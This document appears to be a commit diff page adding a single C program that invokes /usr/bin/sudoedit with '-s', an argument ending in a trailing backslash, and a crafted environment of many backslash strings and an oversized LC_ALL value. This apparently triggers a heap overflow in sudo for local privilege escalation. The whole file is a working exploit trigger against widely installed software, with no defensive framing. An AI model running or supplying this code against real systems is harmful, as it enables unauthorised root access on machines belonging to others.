|
| 1 | +#include <stdio.h> |
| 2 | +#include <string.h> |
| 3 | +#include <stdlib.h> |
| 4 | +#include <stdint.h> |
| 5 | +#include <sys/stat.h> |
| 6 | +#include <stdlib.h> |
| 7 | + |
| 8 | +char * str_repeat(char a, size_t n) { |
| 9 | + char * s = malloc(n+1); |
| 10 | + for(int i=0;i<n;++i) |
| 11 | + s[i] = a; |
| 12 | + s[n] = 0; |
| 13 | + return s; |
| 14 | +} |
| 15 | + |
| 16 | +char * concat(const char * a, const char * b) { |
| 17 | + size_t len_a = strlen(a); |
| 18 | + size_t len_b = strlen(b); |
| 19 | + size_t size = len_a + len_b; |
| 20 | + |
| 21 | + char * s = malloc(size+1); |
| 22 | + int i; |
| 23 | + |
| 24 | + for(i=0;i<len_a;++i) s[i] = a[i]; |
| 25 | + for(i=0;i<len_b;++i) s[len_a+i] = b[i]; |
| 26 | + s[size] = 0; |
| 27 | + return s; |
| 28 | +} |
| 29 | + |
| 30 | +int main() { |
| 31 | + char *env[] = { |
| 32 | + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", |
| 33 | + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", |
| 34 | + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", |
| 35 | + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", |
| 36 | + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", |
| 37 | + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", |
| 38 | + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", |
| 39 | + "\\", "\\", "\\", "\\", "\\", "\\", "\\", |
| 40 | + "X/X", |
| 41 | + concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)), |
| 42 | + NULL |
| 43 | + }; |
| 44 | + |
| 45 | + char * a = concat(str_repeat('A', 0x70),"\\"); |
| 46 | + char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL}; |
| 47 | + execve(argv[0], argv, env); |
| 48 | + |
| 49 | + puts("Execve failed"); |
| 50 | + exit(1); |
| 51 | +} |
0 commit comments